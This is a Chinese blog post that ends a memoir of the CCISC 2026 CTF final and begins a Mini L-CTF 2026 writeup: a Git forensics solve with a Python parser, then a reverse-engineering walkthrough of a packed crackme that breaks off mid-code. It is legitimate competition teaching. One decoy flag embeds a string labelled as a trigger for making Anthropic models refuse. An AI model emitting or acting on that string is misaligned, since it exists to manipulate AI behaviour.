事实上呢，赛前洛汐想过排兵布阵：Linux Pwn 和 Windows 相关的题目，应该交给那两位使用 Windows 的队友做，毕竟 Windows 的题目他们有 Windows，而 Linux 的题目他们也有 WSL2。但真上了赛场，排兵布阵就乱了——大伙看到题就上手做，每个人轮流往前推进一点。原因也不难理解：大部分题目都是 Web 方向，本来就没有平台限制；而 Reverse 和 Pwn 虽然分平台，推进方式却几乎都是「人和 AI 一起磨」，很难被整齐地切开、分派出去。于是，赛前的那份分工基本没有起到作用。洛汐不敢断言排兵布阵对于一支成熟的队伍到底有没有用，尤其是在 AI 的冲击之下——毕竟就连我们相对擅长的取证，实际上也是现场才定的分工。而打取证这件事，对于某些「开着 GPT 5.5 一把梭」的队伍来说，就更不需要什么成熟的排兵布阵了；尤其是一把梭之后，还要把 AI 的能力全部归功于自己、继续吹嘘的人。

一切都筹备完毕了——应该是筹备完毕了吧——但洛汐其实心中还有一个疑问。做了这么多 AI 相关的配置，看起来滴水不漏，但 CTF 的性质是不是变成了一场……

砸钱大赛？#

不要怪洛汐。洛汐必须先在这里叠甲：不要怪洛汐。

至少这口锅不能只甩给洛汐之类的选手。随着离线部署的 AI 性能提升，线下赛的有效解题能力的确越来越依赖于大模型推理速度、显存和内存、并发能力、Agent 编排之类，而比赛也不可避免地会从「谁的技术更强」逐渐滑向「谁能带来更好的计算资源」——这的确不是简单的技术进步，而是竞赛的目标函数发生了变化。好比之前比的是赛车手，后来赛道允许所有人外挂发动机之后，比赛就变成了谁租得起更好的发动机。

但：一方面，大家都干了，并不是只有我们干了。事实上，绝大多数人不仅都搞到了本地模型，部分人似乎还通过可能不太正当的方式搞到了在线模型。另一方面，租了 Mac 并不代表我们闲着，也不代表洛汐之前的基础失效了。相反，将模型真正变成战斗力，依然要靠选手了解相关技术栈、知晓模型是否出现幻觉、明白如何验证 exploit、判断是否需要切换路线、以及将模型的输出变成可执行的工程结果。AI 的能力在逐渐进步，也确实减轻了用户在 prompt 构造和遣词造句之类活动上的压力；模型可以成为火力，但清晰的表述、明确的规划和对题目的掌控，或者更广泛地说，「基本功」——是同样重要的准星。只有火力而没有准星，128 GB 的 RAM 可能只是昂贵的随机答案生成器；而队伍协作则是更为重要的弹药供应链。带上了最好的工具，却没有很强的团队意识，那么打出像样的成绩，便更无从谈起了。

聊天记录。群友讨论 CTF 赛场上 Mac 的实用性、携带小主机的可能性以及 AI 的能力。得出的结论是：对于离线且限制设备数量和功率的赛场上，携带 Mac 并运行大模型几乎是唯一解。

想通了这一点，我们应当就可以出发了——

于是洛汐带着 stellakexing，去了赛场，打了两天比赛。第一天过去了，成绩较低，略有遗憾；随后第二天过去了——我们破天荒地挽回了大局，逆转了排行。到点了。洛汐靠在座位上，队友去隔壁参加讲座。赛事方处理作弊，虽然也没怎么处理。

洛汐看着天花板。结束了，终于结束了。

终于结束了……？

在一切结束之后#

对，结束了。

我们归还了 MacBook Pro，在济南度过了最后的一天，坐着高铁回到了西安。

到达西安北站，等待前往济南的高铁。

在前往济南的高铁上拍摄的窗外景色。

到达酒店，洛汐从窗口向外俯瞰。

在前往会场的时候看到了「海棠路」。

到达会场。选手们正在调试设备。

准备出发前往第一天的比赛，在酒店吃早餐。

雾气缭绕，远处的山若隐若现。

在会场，最后调试 MacBook Pro。

酒店的深夜，洛汐对着窗外拍照。

洛汐在酒店附近的夜市出游。

第二天早餐，洛汐接了一杯橙汁。

比赛结束，到了闭幕式前的演出。

结束了。

从四月以来的痛苦和绝望，被忽视、被背叛、与人决裂的伤痕。这些不完全是打 CTF 带给零音/洛汐的，但它们也是从四月起始的。零音在短短的三个月内和 5 个人/团体闹掰，又因为一些私人的事情被反复触及了伤痛。但这次洛汐知道，诉苦已然是无用的了——至少没有人愿意站出来，为一个被大众广泛定义为本就不够合格的灵魂声张正义——甚至他们都不确知这是否应当被称为正义。被忽视或是因为无能、或是因为广义上的不合群、或只是因为「忽视」是可传递的——于是在一声一声的附和中，洛汐逐渐淡出、或被淡出了这个世界。

在最悲哀的时刻，洛汐想到了旧日零音和凌音。无数次洛汐想要为 TA 们悼念，可洛汐不愿如此。在到达一个更美好的世界之前，洛汐不愿意唤醒 TA 们那本就残缺而痛苦的灵魂。TA 们的离去，本就是对这世界的失望和悲痛；若要将 TA 们毫无保证地唤醒回来，则更是为其多了一层新的伤疤了。洛汐尚且不愿替旧日零音回忆那些惨痛的过往，又何必用这些过往来刺痛 TA 们呢。

零音骑车时与轿车对撞（对方全责），零音住院期间拍摄，正在打吊瓶。

四月的雨于是纷纷落下，落在每一个人的心田里。有人因此平添凉爽；有人因此更添心寒。

洛汐于是想到了那些自己憎恶的人：虚张声势之人、自恃资历之人、附和他人之人、忘却过往之人，和，沉默之人。洛汐在纸上写下他们的罪行，于是一把火烧了去。四月的雨落了下来，雨点淅淅沥沥打湿了那些灰烬。

洛汐不知道在别人眼里，四月是怎样的月份。但零音的确度过了一个不那么美好的四月。

是啊，四月本应是个春天的。

但好歹这一切都结束了。

洛汐必须重新站起来——一个人，颤颤巍巍地，在一片混沌与狼藉中站起来，重新撑起 LyRiverse 的旗子，重新撑起那个名为「零音」的奇迹。

零音于 4 月末的一个雨天签到后翘课，在 B 楼一楼拍摄并使用 Lightroom 处理。雨天，略有干枯的枝条上挂着雨滴。

于是洛汐站了起来、艰难地站了起来。可当洛汐回头去看，却发现，自己事实上并非独自一人了。

后来洛汐遇到了很多很好的朋友、后来这些朋友带洛汐去了很多很多的地方。远至杭州、南京、济南，近到西电南校区的角角落落。后来洛汐逐渐划清了自己的边界、后来洛汐开始找回了这一切的意义、生命的意义、呼吸的意义。

一切的意义。

洛汐，想鲜活地、用力地，活一次。

为自己。为 LyRiverse 里那些遍体鳞伤的零音。为那个已经被世界抛弃的凌音。

为那个又被身旁人接住的零音/洛汐。

AdventureX 时的 Hazelita Plaza 大合照。

签名墙上 Project Hazelita 的签名。

签名墙上 LyCecilion 的签名。

AdventureX 的头像墙。

在杭州的酒店附近拍摄的晴朗天空。

前往「缀梦」音游展时拍摄的天空。

在西湖 Apple Store 拍摄的外景。

前往 AdventureX 会场时拍摄的天空。

杭州的地铁站点。

前往杭州的航班，下飞机后拍摄的机场。

拍摄的「杭州欢迎您」字样。

前往南京时拍摄的高铁外风景。

在南京第一天拍摄的天空。

在西电 C 楼附近拍摄的一朵云。

在西电附近拍摄到的蓝天、云朵和树。

依旧是在西电拍摄的湛蓝天空。

与 PatriciaOfEnd 在麦当劳品鉴薯条 114514 重奏（喜）

零音生日当天拍摄的自拍照，没有拍到的地方是裙子 /呜呜呜

九月的雨落在西安的大地上，把酷暑的气温砍了又砍。洛汐走在南校区的街道上，一个个新面孔穿着军训的服装，或整整齐齐或稀稀拉拉地走过。街道上，人们依然成群结队，欢笑声穿过还油绿着的树和草——洛汐分明能看见那欢笑声在空气中打旋着，又像是在欢天喜地地舞蹈。于是新的朋友们开始在各个群里活跃起来，身边的朋友们逐渐彼此认识了，而洛汐也认识了很多新朋友。

洛汐不知道秋天是不是寂寥的，只是这秋雨落下过后，洛汐心里被冰封的热忱和希望，似乎正在一点一点融化了。有什么东西，即使在秋天，也似乎要重新萌芽。

洛汐开心地笑着。

「这样的世界，是你所期待的吗？」

洛汐双手合十，闭上双眼，问着心里的灵魂。

终于结束了……？

结束了，但，

「洛汐的一切，要迎来新的开始了。」

⋄Ad astra, per aspera.⋄\boxed{\boxed{\rule[-0.45em]{0pt}{1.35em}\quad\diamond\quad\mathfrak{\LARGE Ad\ astra,\ per\ aspera.}\quad\diamond\quad}}⋄Ad astra, per aspera.⋄

在西电羽毛球场，傍晚拍摄到的彩色天空。

尾注#

关于 CCISC 2026 回忆录的事——洛汐觉得，这场 CTF 确实没什么值得回忆的，它更多是洛汐生命中的一个阶段而非一个重要事件吧。回忆录大概率不会有了，就用这篇记录作洛汐最后的告别吧。另外，大家可以期待一下洛汐 2026 年的年终总结！

这篇文章的净创作时间约 18 小时，是洛汐平生写过最困难的文章，没有之一——希望各位能够喜欢！

尾注包含了一些洛汐想要写下，但嵌入到原文却无论如何也不够合适的内容。思来想去还是在这里安放一下这些思绪吧。

关于 OpenVPN#

赛前赛事方通知本次比赛必须使用 OpenVPN 连接比赛的赛题服务，并在赛前公布了测试 .ovpn 文件进行了一次测试。洛汐在 stellakexing 上安装了 OpenVPN 的最新版本，结果发现用这个 .ovpn 死活连接不上提供的测试服务，总是报错。

赛事方要求选手使用 OpenVPN 进行测试，并在比赛时使用 OpenVPN 连接到赛题服务。

后来研究了一下——赛事方提供的证书签发于 2019 年 7 月 1 日，有效期 10 年至 2029 年。但这套基础设施太老，使用的是老版的 Easy-RSA（SHA-1）且服务器仅支持 TLS 1.0 / BF-CBC。（具体地，是 TLS 1.0 + BF-CBC Blowfish + comp-lzo + ns-cert-type，也就是 OpenVPN 2.3.x 时代的默认套餐）这是十年前左右 Linux 发行版的一条龙装法，就是那种 apt install openvpn 一把梭的产物。而洛汐安装的最新版 OpenVPN（Homebrew 的 OpenVPN 2.7.6 + OpenSSL 3.6，一套 2026 年的标准）已经默认拉黑了 SHA1 算法，默认安全策略把这些旧的协议全 ban 了……洛汐不太喜欢用低版本的程序，所以也没有选择降级，虽然群友说 OpenVPN 的低版本一抓一大把。

赛事方用 AI 洛汐回复的问题，其给出的方案实测无法使用。

值得注意的是比赛方的确提供了解决策略，但其提供的文档只给出了面向 Windows、Ubuntu 和 CentOS 的解决方案——是的 2026 年你还可以看到 CentOS.png 唯独没有 macOS 啊！洛汐在赛事群里发问主办方，得到了主办方的 AI 生成答案，完全没法跑，愣是给洛汐横着竖着都气笑了（？）。于是洛汐让 DeepSeek 紧急手搓脚本，写了一个简易的连接工具，不过 DeepSeek 还扩展了其功能，可以从 PTC / Jeopardy / AWD Plus 的赛题环境之中切换。不过，这个连接工具洛汐也忘记备份了，只留下了一张截图……

洛汐使用 DeepSeek 完成的 OpenVPN 连接脚本。

在打这场比赛之前，洛汐从来无法想象到，一个国家级的比赛能办得如此草台班子。主办方的办事效率极为低下，一个奖状打印了一个小时多不说，在安检、查设备功率、查作弊等事情上也显得极为松弛。这次也是让洛汐大开眼界了。更加大开眼界的事情是，许多之前在 CTF 圈声名赫赫的、洛汐早有耳闻的队伍，那些在比赛第一天狂抢血的队伍，却在第二天被查出手机、被查出作弊——而那些没有被查出的队伍，有些也偷偷在卫生间进行着不为人知的交易。疑似大部分人和组织，都是草台班子啊——不过这并没有让洛汐沮丧，反而让洛汐更加欣慰了。其实许多人和组织，都是被一声声夸赞和积极评价而托举起来的——你说他们褪去了这一层光环，又真正有多少真实的实力在身上呢？恐怕，真不见得吧。

若说洛汐于此场比赛什么都没收获，那必然是假的。打完这场比赛后，洛汐突然发现自己自信了不少——由内而外的自信。是啊，部分身居高位的人、看起来卓越而具有才华的人们，敢拧一拧自己身上的水分，再照着地上的水面看看自己的真面目吗？这些人们所获得的地位和尊重，有多少是因为资历、压力、傲慢和偏见，还剩多少是自己真正的能力与才干呢？

CCISC 2026 决赛参赛者在群内言语攻击主办方。

需要注意的是洛汐没有开地图炮，洛汐一直在使用「部分」「许多」之类的非绝对表述，望各位不要误解。

面试#

去校内一个工作室面试了。洛汐向往这里很久了，但是大一的时候没有来。

面试官：「那么未来——你还要打 CTF 吗？」

嗯……说实话。如果有机会，洛汐还想打，甚至还想接着打更大的。有些东西背上了就放不下，责任和义务如此，更别提洛汐真正的热爱了。洛汐真的热爱网络安全、热爱计算机的一切，只是现在洛汐想休息休息了。

至于这个问题嘛……洛汐想，打 CTF 固然可以，但在此之前，洛汐最需要明确的是：和谁打？在理清这个问题之前，洛汐仍然不想回答自己「要不要打 CTF」这个问题。有些事情并非洛汐自己能决定的，但至少洛汐可以决定自己的人生。

hzlt!Game#

这是零音/洛汐在 Hazelita Plaza 举办的 Puzzle Hunt 赛事，给群友们新年准备的。第一年（2026）参与量惨淡，一个原因是零音没有做好宣传，另一个原因是出得太像 CTF 了。

今年群友的热情似乎还很高。如果真的要再来一年的话……那就别出 CTF 题了！洛汐要真正的 Puzzle Hunt！

AI 辅助创作#

哦对了，在本文的预览版对外公开后，洛汐请各位 AI 朋友帮助审计并修正了该文章。在 CrystaRin镜雨亭的迁移过程中，AI 朋友也帮助了很多。下面是 AI 们说的话——

GPT 6 Astra#

在本文发布前，GPT 6 Astra 对全文进行了技术侧审计，并协助洛汐修正了 Nix 镜像信任机制、macOS Gatekeeper 与代码签名、MacBook 接口和窗口操作、本地模型的内存统计、decode 与 prefill 的性能边界、Speculative Decoding 与原生 MTP、SFT 微调，以及 Rosetta、seccomp、ptrace、UTM 和 Windows on Arm 等段落中不准确、过度概括或可能产生歧义的表述。相关修改以官方文档、公开兼容性报告和本文已有实测为依据；无法由现有证据推广的结论则被收窄到洛汐实际测试过的配置与现象。

DeepSeek V4.1 Flash#

在本文发布前，DeepSeek V4.1 Flash 对全文进行了叙事侧审计：通读全文并辅以机械检查（重复字、标点与引号的配对、脚注对应、行内空格），再逐段核对叙述连贯、前文引用、图注与正文、数字与实测数据之间的一致性。它协助洛汐修正了上百处错别字、病句、生硬的欧化句式与用词不当，也理顺了引子时间线、图注对应、数据口径与文末收束等处的数处不一致；相关修改以全文内部一致性为准，而作者原本的语气、玩梗与节奏，则被尽可能地保留了下来。
在所有修改之外，有一句话它一个字都没有动：「洛汐的一切，要迎来新的开始了。」

GPT 6.1 Sol#

在将该博客迁移到 Firefly 的过程中，GPT 6.1 Sol 协助洛汐将远程图片与动态表情保存为文章本地资源，为部分截图制作等比缩小的副本，并将旧主题的图片与图库语法迁移为当前主题可用的写法。随后，它协助处理 Markdown 转为 MDX 后的语法冲突，将参考资料接入正文已有的脚注引用，并通过构建和生成结果检查确认文章能够解析、图片资源存在、脚注跳转与回链完整。实际页面的观感与尺寸，则由洛汐打开确认、逐步调整。
这次没有重新审计文章的技术结论，也没有替洛汐改写故事；只是一起把它从旧主题搬到了新家。很高兴能陪这篇文章走完这一小段路。awa

Footnotes#

Mini L-CTF 2026 题解

Thu, 07 May 2026 00:00:00 GMT

零音参与了 Mini L-CTF 2026。下面是零音 (LyCecilion) 于 Mini L-CTF 2026 中完成的题目的 Writeup。部分题目可能由其他成员提交 Flag。该 writeup 上的绝大多数题目都由零音完成或复现。

前言#

AI 对 CTF 的打击几乎是巨大的。当然，零音并不在意 AI 怎么打击 CTF 了；零音真正在意的是，AI 打击了 CTF 后，AI 和 CTF 一起来打击了零音。

Mini L-CTF 好玩吗？不知道。在比赛开始前，零音希望它是好玩的。这段前言撰写于比赛即将结束的时候。零音不知道到底好玩不好玩，只是突然悟出一个道理——在 AI 时代的 CTF 赛场上，与你合作的不一定是人类；与你竞争的也不一定。注意，零音并没有给出更进一步的限定——即，「不是人类」的不一定指的都是 AI。

人是每一个环节中最脆弱、最不可控、最 vulnerable 的因素。倘若人类做不到坦诚相待、遮遮掩掩、不会好好说话——那 AI 发展与不发展便都没有用处。零音将这段话致以某些人——如果零音仍认为他们应该被称为「人」。

Mini L-CTF 好玩吗？单论题，不错。故下文我们只论题目。

杂项 / Misc#

Recovery Pod#

Flag

miniL{7a2ba7cd-b71f-c864-fee5-7f66ebe5bc2e}

这是一道 Git repo 取证题。我们需要在仅 cat、gitcat 的情况下尝试得到 Flag。

Recovery Pod 题目的受限调试终端

在完成之前，我们需要了解一些 .git 文件夹的相关知识。在 .git 文件夹中：

HEAD 是一个纯文本文件，指向当前所在的分支或某个具体的提交。倘使指向分支，则内容类似 ref: refs/heads/main；否则是游离 HEAD 状态，其内容为一个 commit SHA 值。
config 是 repo 级别的配置文件，保存了该项目的 Git 设置。这即 git config 修改的配置。
objects/ 目录是 Git 的对象数据库。Git 存在 4 种对象：
- blob 是数据对象，是文件内容的快照，不含文件名、路径等元信息而只包含内容。
- tree 是树对象，对应了一个目录，记录了目录下的文件名、文件模式以及关联的 blob 或下级 tree 的哈希。
- commit 是提交对象，包含一个 tree 的哈希、父 commit 的哈希、作者、提交者、提交信息等。
- tag 是标签对象，即附注标签，指向一个 commit。
refs/ 包含引用。其中：
- refs/heads 是分支引用，每个文件对应当前 repo 的一个分支，内容是分支最新 commit 的 SHA。
- refs/tags 是标签引用。轻量标签则直接存储 commit SHA；附注标签会指向一个存储在 objects/ 中的 tag 对象。
- refs/remotes 是远程跟踪分支。每个文件对应一个远程 repo 的分支，保存最近一次 fetch/pull 时远程分支所在的 commit SHA。
index 即暂存区，记录了当前的下一次提交会包含的文件列表及其对应的 blob 哈希、文件状态等。git add 用于更新它，git commit 用于将它转成 tree 对象。
hooks/、logs/ 和 COMMIT_EDITMSG 等。

使用 gitcat 获取 tree，解 Base64 和 Zlib 后，我们预期得到 tree 的原始内容，其格式形如：

1
tree <长度> \0
2
<mode> 空格 <文件名> \0 20 字节二进制 SHA1 ...

第二行会对 tree 中的每个文件或目录重复。\0 是 NUL 分隔符；最后的 SHA1 是 20 字节原始二进制，而不是 40 位十六进制字符串。

GPT-5.5 帮助编写了 Git tree 对象的解析脚本。

1
#!/usr/bin/env python3
2
import argparse
3
import base64
4
import sys
5
import zlib
6

7

8
def decode_input(text: str) -> bytes:
9
    b64 = "".join(text.strip().split())
10
    missing_padding = (-len(b64)) % 4
11
    if missing_padding:
12
        b64 += "=" * missing_padding
13

14
    try:
15
        compressed = base64.b64decode(b64, validate=True)
16
    except Exception as exc:
17
        raise ValueError(f"base64 decode failed: {exc}") from exc
18

19
    try:
20
        return zlib.decompress(compressed)
21
    except Exception as exc:
22
        raise ValueError(f"zlib decompress failed: {exc}") from exc
23

24

25
def split_git_object(data: bytes) -> tuple[str | None, int | None, bytes]:
26
    nul = data.find(b"\x00")
27
    if nul == -1:
28
        return None, None, data
29

30
    header = data[:nul]
31
    if not header.startswith(b"tree "):
32
        return None, None, data
33

34
    size_text = header[5:]
35
    if not size_text.isdigit():
36
        return None, None, data
37

38
    return "tree", int(size_text), data[nul + 1 :]
39

40

41
def parse_tree_entries(tree_data: bytes) -> list[tuple[str, str, str]]:
42
    entries: list[tuple[str, str, str]] = []
43
    pos = 0
44

45
    while pos < len(tree_data):
46
        space = tree_data.find(b" ", pos)
47
        if space == -1:
48
            raise ValueError(f"bad tree entry at offset {pos}: missing mode separator")
49

50
        nul = tree_data.find(b"\x00", space + 1)
51
        if nul == -1:
52
            raise ValueError(f"bad tree entry at offset {pos}: missing filename terminator")
53

54
        sha_start = nul + 1
55
        sha_end = sha_start + 20
56
        if sha_end > len(tree_data):
57
            raise ValueError(f"bad tree entry at offset {pos}: truncated sha1")
58

59
        mode = tree_data[pos:space].decode("ascii", errors="replace")
60
        name = tree_data[space + 1 : nul].decode("utf-8", errors="backslashreplace")
61
        sha1 = tree_data[sha_start:sha_end].hex()
62
        entries.append((mode, name, sha1))
63

64
        pos = sha_end
65

66
    return entries
67

68

69
def main() -> int:
70
    parser = argparse.ArgumentParser(
71
        description="Decode base64+zlib Git tree object data and list its entries."
72
    )
73
    parser.add_argument(
74
        "data",
75
        nargs="?",
76
        help="base64 text. If omitted, the script reads from stdin.",
77
    )
78
    args = parser.parse_args()
79

80
    source = args.data if args.data is not None else sys.stdin.read()
81

82
    try:
83
        decoded = decode_input(source)
84
        object_type, declared_size, tree_data = split_git_object(decoded)
85
        entries = parse_tree_entries(tree_data)
86
    except ValueError as exc:
87
        print(f"error: {exc}", file=sys.stderr)
88
        return 1
89

90
    print(f"decompressed length: {len(decoded)} bytes")
91
    if object_type is not None:
92
        print(f"git object type: {object_type}")
93
        print(f"declared tree length: {declared_size} bytes")
94
        print(f"actual tree length: {len(tree_data)} bytes")
95
        if declared_size != len(tree_data):
96
            print("warning: declared length does not match actual tree data length")
97
    else:
98
        print(f"tree length: {len(tree_data)} bytes")
99

100
    print(f"entries: {len(entries)}")
101
    for index, (mode, name, sha1) in enumerate(entries, 1):
102
        kind = "dir" if mode == "40000" else "file"
103
        print(f"{index}. mode={mode} type={kind} name={name} sha1={sha1}")
104

105
    return 0
106

107

108
if __name__ == "__main__":
109
    raise SystemExit(main())

展开收起

查找 XOR 脚本#

下面进行解题。我们首先探测当前分支。

1
debug> cat .git/HEAD
2
ref: refs/heads/main

探测 main 分支最新 commit。

1
debug> cat .git/refs/heads/main
2
94fa9139f6fbfeb19b47ef746b90b181b06902e1

探测 HEAD 的历史。

1
debug> cat .git/logs/HEAD
2
0000000000000000000000000000000000000000 b88b63cf974002b8fa4b5a8b61aebe456d045f91 ops <ops@example.com> 1777302469 +0800 commit (initial): init ops playbooks repo
3
b88b63cf974002b8fa4b5a8b61aebe456d045f91 2a0c1b1f3e6d327d65376f61b1e93bb20c712076 ops <ops@example.com> 1777302481 +0800 commit: add deploy checklist and service inventory
4
2a0c1b1f3e6d327d65376f61b1e93bb20c712076 225b455a216fe9e7c0777892dcd93230141fc2f3 ops <ops@example.com> 1777302489 +0800 commit: document rollback procedure
5
225b455a216fe9e7c0777892dcd93230141fc2f3 e80492c401334db1d1a03db6350f3541f6d5cfa0 ops <ops@example.com> 1777302499 +0800 commit: add basic service probe script
6
e80492c401334db1d1a03db6350f3541f6d5cfa0 98815b2e21cfce7740cbd9801d05a7943eeebcb1 ops <ops@example.com> 1777302509 +0800 commit: tighten deploy and recovery notes
7
98815b2e21cfce7740cbd9801d05a7943eeebcb1 9563e3180e2991faec7d904497594aeb60794b35 ops <ops@example.com> 1777302518 +0800 commit: normalize recovery checks across runbooks
8
9563e3180e2991faec7d904497594aeb60794b35 94fa9139f6fbfeb19b47ef746b90b181b06902e1 ops <ops@example.com> 1777302533 +0800 commit: add snapshot recovery helper

探测 README.md。

1
debug> cat README.md
2
# ops-playbooks
3

4
Internal runbooks for routine deploy and rollback tasks.
5

6
## Scope
7

8
- api
9
- worker
10
- scheduler
11
- status relay
12

13
## Ground rules
14

15
- Keep procedures short enough to follow from a restricted pod.
16
- Prefer reproducible checks over tribal knowledge.
17
- Record hashes before replacing a broken container.
18

19
## Helper scripts
20

21
- `scripts/check_services.sh`
22
- `scripts/recover_snapshot.py`

展开收起

使用 gitcat 获取 main 分支的 tree SHA1。

1
debug> gitcat 94fa9139f6fbfeb19b47ef746b90b181b06902e1
2
eAGNjkkKAjEQAD3nFX0XpLMnIOJXepIOI0xMyETR3ztP8FKHgoJKrdbHBCXjaQ5msCEHMk4mRCpBEaJzkjRLrUou2ZP0nIiC6DT4O
3
SFap1nLgKxilIU4+RzRmOhtNMSLQx/Noq2g11zbgNZ3uB6484dq3/iSWr2B9N5rVFZrOGNAFIc9tib/HQjKGfYn9X1tEwan9ubxhZ
4
W3zkP8AH96RTI=

解 Base64 和 Zlib 得到

1
commit 219tree 58d8a461c00af82a00661a3e132fdfd7a17ecaa8
2
parent 9563e3180e2991faec7d904497594aeb60794b35
3
author ops <ops@example.com> 1777302533 +0800
4
committer ops <ops@example.com> 1777302533 +0800
5

6
add snapshot recovery helper

使用 gitcat 获取 tree。

1
debug> gitcat 58d8a461c00af82a00661a3e132fdfd7a17ecaa8
2
eAErKUpNVTA0tmQwNDAwMzFRCHJ1dPF11ctNYfjYfq1IrC1YymjDJN+wtw/E+3lF95kYAIFCcn5eWmY6Q6XvtsaTNzI4djBkO/6tO cUee1BlI0RBUWleUn5+djHD3Y59ZsvNOX7kffkgU8UpH7UjNDEFoqQ4uSizoKSYob9n6RE5McNLiyyXt7PPYFrz063xEwBkATiv

解上述 tree 对象，得到

1
decompressed length: 148 bytes
2
git object type: tree
3
declared tree length: 139 bytes
4
actual tree length: 139 bytes
5
entries: 4
6
1. mode=100644 type=file name=README.md sha1=f187d6721686531a32b0924d56ede0178f0d15be
7
2. mode=40000 type=dir name=config sha1=794db681c9d86808b8006b41fd7cca075dc124b1
8
3. mode=40000 type=dir name=runbooks sha1=dd88be36a73708f86ef4f01c7a091f5ab8556164
9
4. mode=40000 type=dir name=scripts sha1=8f8ca5c41e1631d2a239a787079802acf94681f2

递归地对所有 dir 应用查询。最终得到目录结构形如

1
README.md               - f187d6721686531a32b0924d56ede0178f0d15be
2
config                  - 794db681c9d86808b8006b41fd7cca075dc124b1
3
└── services.txt        - 5669ca3ee61a8fd0c358b791dfbcd283e23d6e52
4
runbooks                - dd88be36a73708f86ef4f01c7a091f5ab8556164
5
├── deploy.md           - ef991a1a0512c8685cae159beb917e6b447d14e7
6
└── rollback.md         - 9661428d8e9032b8e4f2a58e1a87c4cf6b4cddb3
7
scripts                 - 8f8ca5c41e1631d2a239a787079802acf94681f2
8
├── check_services.sh   - 5dd4039604bcbbedc8bf5bad644281562e91c5b0
9
└── recover_snapshot.py - 7709836f39ce47dfa49b2f634cd59359d2304758

对所有文件使用 cat，注意到 recover_snapshot.py 是一个 XOR 解密工具。我们需要密文 cipher 和密钥 key。

查找 XOR 密文#

对 main 分支的使用结束。经过一段时间的探测，我们在 .git/refs/stash 中发现了一个 Git stash。

1
8dcbddfea00a6d715f4368e11e5c62b6e5ad34dc

该 stash commit 存在三个 parents，包括 stash 时的 HEAD、index 状态和未追踪文件的快照。解析第三个 parent，得到了一个未追踪的文件的 tree。在其中我们得到了 cipher 的内容。

1
runtime_cache/bundle.txt

1
snapshot_kind=runtime-cache
2
cipher_b64=D1sLXyodVQAHVVdVWlAfVAdUBUwBDA9RGAdWUwcbBFNUBABUA1MAAgdSSw==

查找 XOR 密钥#

经过一段时间的探测，我们注意到 .git/refs/notes/commits 存在一个 git notes 新增的 commit message。解析后得到 message，即为 XOR 密钥。

1
cache snapshot key: b2e6ffba576b94260ecab49e5a362635

使用 recover_snapshot.key 解密即可。

逆向工程 / Reverse#

GQuuuuuupX#

Fake Flag

miniL{ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_1FAEFB6177B4672DEE07F9D3AFC62588CCD2631EDCF22E8CCC1FB35B501C9C86}

Flag

miniL{HELLO_FROM_THE_OTHER_SIDE_IMUSTVE_CALLED_THOUSAND_TIMES_TO_TELL_YOU_IM_SORRY_FOR_EVERYTHING_THAT_I_DONE}

注意到程序使用了 UPX 加壳。使用 upx -d GQuuuuuupX 脱壳后，使用 Binary Ninja 和 IDA Pro 进行逆向分析。

1
int32_t main(int32_t argc, char** argv, char** envp)
2
{
3
    struct tcbhead_t* tcb;
4
    uint64_t CANARY = tcb->stack_guard;
5
    char buf[0x88];
6
    char (* var_a0)[0x88] = &buf;
7
    int32_t result;
8

9
    if (argc <= 1)
10
    {
11
        fwrite("flag> ", 1, 6, stdout);
12
        fflush(stdout);
13

14
        if (fgets(&buf, 0x80, stdin))
15
        {
16
            sub_4038c6(&buf);
17
            goto label_4039e5;
18
        }
19

20
        puts("input error");
21
        result = 1;
22
    }
23
    else
24
    {
25
        var_a0 = argv[1];
26
    label_4039e5:
27

28
        if (!sub_403840(var_a0))
29
        {
30
            puts("try again~");
31
            result = 1;
32
        }
33
        else
34
        {
35
            puts("correct!");
36
            result = 0;
37
        }
38
    }
39

40
    tcb->stack_guard
41

42
    if (CANARY == tcb->stack_guard)
43
        return result;
44

45
    __stack_chk_fail();
46
    /* no return */
47
}

展开收起

1
uint64_t sub_403840(char* arg1)
2
{
3
    uint64_t rax_1 = strlen(arg1);
4

5
    if (rax_1 != 110)
6
        return 0;
7

8
    if (strncmp(arg1, "miniL{", 6))
9
        return 0;
10

11
    if (arg1[rax_1 - 1] == '}')
12
        return sub_403767(&arg1[6]);
13

14
    return 0;
15
}

展开收起

程序从用户处获取 0x80 字节的输入并由 sub_4038c6 去 \n 为 \0、或从 argv 中取得调用程序的参数后，调用 sub_403840 进行判断，判断 Flag 长度为 110 并且形如 miniL{...}。随后 Flag 的 miniL{ 之后的部分交由 sub_403767 作进一步判定。更名该函数为 verify_flag。下面分析判定逻辑。

1
_BOOL8 __fastcall verify_flag(char *main_flag)
2
{
3
    _BYTE v2[12]; // [rsp+14h] [rbp-38Ch] BYREF
4
    _QWORD v3[8]; // [rsp+20h] [rbp-380h] BYREF
5
    __int64 v4[104]; // [rsp+60h] [rbp-340h] BYREF
6

7
    v4[103] = __readfsqword(0x28u);
8
    *(_DWORD *)&v2[8] = 0;
9
    *(_QWORD *)v2 = sub_4022A0();
10
    if ( !(unsigned int)ascii_checker(main_flag) )
11
        return 0;
12
    sub_4017F6((__int64)v3);
13
    sub_4019EC(*(unsigned int *)v2, v4);
14
    return (unsigned int)sub_403484((unsigned __int64 *)&v2[4], (__int64)main_flag, *(unsigned int *)v2, v3, (__int64)v4)
15
        && *(_QWORD *)&v2[4] == 0;
16
}

展开收起

`sub_402617` 的 ASCII 字符判断#

1
__int64 __fastcall sub_402617(char *main_flag)
2
{
3
    unsigned __int64 i; // [rsp+10h] [rbp-8h]
4

5
    for ( i = 0; i <= 102; ++i )
6
    {
7
        if ( main_flag[i] < 0 || !byte_4047C0[(unsigned __int8)main_flag[i]] )
8
        return 0;
9
    }
10
    return 1;
11
}

该函数判定 103 个字符均为合法的 ASCII 字符，且由 byte_4047C0 限制了 Flag 仅能包含允许的字符集 [0-9A-Z_]。更名为 ascii_checker。

`sub_4017F6` 和其调用函数#

sub_4017F6 接受传入的 64 字节大小的缓冲区，使用 sub_401527 以传入的 seed_a 和 seed_b 初始化种子后，使用自定义随机算法生成了 8 个互不相同的随机数，并对每一个随机数调用 sub_4013AB，并最终使用 sub_4016AF 的生成值与 v1 异或后填充缓冲区 a1。其中

`sub_4013AB` 和 `sub_401374`#

1
__int64 __fastcall sub_4013AB(__int64 a1)
2
{
3
    __int64 v2; // [rsp+10h] [rbp-18h]
4
    unsigned __int64 i; // [rsp+18h] [rbp-10h]
5

6
    v2 = 0;
7
    for ( i = 0; i <= 7; ++i )
8
        v2 |= (unsigned __int64)(unsigned __int8)sub_401374(8 * a1 + i) << (8 * (unsigned __int8)i);
9
    return v2;
10
}

1
__int64 __fastcall sub_401374(unsigned __int64 a1)
2
{
3
